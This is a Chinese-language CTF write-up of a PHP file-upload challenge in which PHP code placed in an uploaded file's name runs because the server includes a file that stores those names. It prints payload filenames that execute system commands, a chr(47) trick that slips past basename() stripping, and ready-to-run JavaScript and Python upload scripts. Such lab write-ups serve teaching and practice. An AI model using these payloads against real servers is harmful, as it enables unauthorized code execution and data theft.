CTF Writeup: 我其实什么都不要!
题目信息
- 类型: Web - 文件上传 / PHP代码注入
- Flag:
0xGame{I_Only_Love_PNG_md}
解题思路
Step 1: 信息收集
访问题目页面,看到一个头像上传表单,标题为"我其实什么都不要!"。
向 / 发送 POST 请求,查看返回 HTML 源码,在底部发现隐藏注释:
<!-- check.php -->
Step 2: 分析 check.php
访问 /check.php,返回内容:
bin boot dev etc home lib media sbin mnt opt proc root run srv sys tmp usr var flag
关键信息:
- 开头是
system("ls /") 的执行结果
- 后面跟着所有已上传文件的原始文件名,以
. 分隔
- 上传文件后,文件名会追加到列表中
Step 3: 上传机制分析
- 只允许
.png 后缀的文件
- 上传后文件被重命名为
<md5>.png 存储
- 原始文件名被写入一个 PHP 文件
- check.php 通过
include 加载该 PHP 文件来显示文件名列表
Step 4: 发现漏洞 -- 文件名中的 PHP 代码注入
因为文件名最终被写入 .php 文件并被 include,所以文件名中的 PHP 标签 <?php ... ?> 会被 PHP 引擎当作代码执行。
但有一个限制:服务端对文件名做了类似 basename() 的处理,会剥离文件名中最后一个 / 之前的所有内容。例如:
| 上传文件名 |
服务端存储的文件名 |
test.png |
test.png |
$(cat /flag).png |
flag).png |
`cat /flag`.png | flag`.png |
因此不能在 payload 中直接使用 / 字符,需要用 chr(47) 来绕过。
Step 5: 枚举文件系统
先验证 PHP 代码是否真的会执行。构造文件名:
<?php echo 'TEST'.system('id').'END'; ?>.png
上传后访问 check.php,输出中出现:
uid=0(root) gid=0(root) groups=0(root)
确认 PHP 代码成功执行,且以 root 权限运行。
接下来尝试读 /flag:
<?php system('cat '.chr(47).'flag 2>&1'); ?>.png
返回:
cat: /flag: No such file or directory
/flag 不存在! ls / 输出中的 flag 是误导。
通过 ls -la / 枚举根目录,发现一个隐藏的文件:
-rw-r--r-- 1 root root 27 Oct 6 11:49 ffllaagg
真正的 flag 文件名是 ffllaagg,而不是 flag。
Step 6: 读取 Flag
构造最终 payload 文件名:
<?php echo file_get_contents(chr(47).'ffllaagg'); ?>.png
上传后访问 check.php,在输出中找到:
0xGame{I_Only_Love_PNG_md}
实际操作
由于浏览器不允许文件名中包含 <?php 等特殊字符,需要通过脚本手工构造 HTTP 请求。
方法一:浏览器控制台
在题目页面按 F12 打开控制台,粘贴执行:
let boundary = '----Boundary123';
let filename = "<?php echo file_get_contents(chr(47).'ffllaagg'); ?>.png";
let body = '--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="avatar"; filename="' + filename + '"\r\n' +
'Content-Type: image/png\r\n\r\ntest\r\n' +
'--' + boundary + '--\r\n';
fetch('/', {
method: 'POST',
headers: {'Content-Type': 'multipart/form-data; boundary=' + boundary},
body: body
}).then(r => r.text()).then(t => {
console.log('Upload done');
fetch('/check.php').then(r => r.text()).then(t => {
let match = t.match(/0xGame\{[^}]+\}/);
if (match) console.log('FLAG:', match[0]);
else console.log('Full output:', t);
});
});
方法二:Python 脚本
import http.client, re
HOST = "你的题目地址"
boundary = '----Boundary123'
filename = "<?php echo file_get_contents(chr(47).'ffllaagg'); ?>.png"
body = (
'--' + boundary + '\r\n'
'Content-Disposition: form-data; name="avatar"; filename="' + filename + '"\r\n'
'Content-Type: image/png\r\n\r\ntest\r\n'
'--' + boundary + '--\r\n'
).encode('latin-1')
conn = http.client.HTTPConnection(HOST, 80)
conn.request('POST', '/', body,
{'Content-Type': 'multipart/form-data; boundary=' + boundary})
conn.getresponse().read()
conn.close()
conn = http.client.HTTPConnection(HOST, 80)
conn.request('GET', '/check.php')
raw = conn.getresponse().read()
conn.close()
for m in re.findall(rb'0xGame\{[^}]+\}', raw):
print('FLAG:', m.decode())
知识点总结
| 知识点 |
说明 |
| 信息泄露 |
HTML 注释暴露了 check.php 调试接口 |
| PHP 代码注入 |
文件名被写入 .php 文件并 include,文件名中的 PHP 标签会被执行 |
basename() 绕过 |
服务端用 basename() 过滤路径分隔符,使用 chr(47) 代替 / 绕过 |
| Flag 隐藏 |
真正的 flag 文件名为 ffllaagg 而非 flag,需要枚举文件系统才能发现 |
| 文件名不可信 |
ls / 输出中的 flag 是干扰项,实际文件并不存在 |
check.php 逻辑推测
<?php
// 1. 列出根目录
system("ls /");
// 2. 读取保存原始文件名的PHP文件并include
// 文件名被写入形如: echo "filename1.filename2." 的PHP代码
// 但如果文件名包含 <?php ?> 标签,PHP引擎会执行其中的代码
include("/path/to/filenames.php");
?>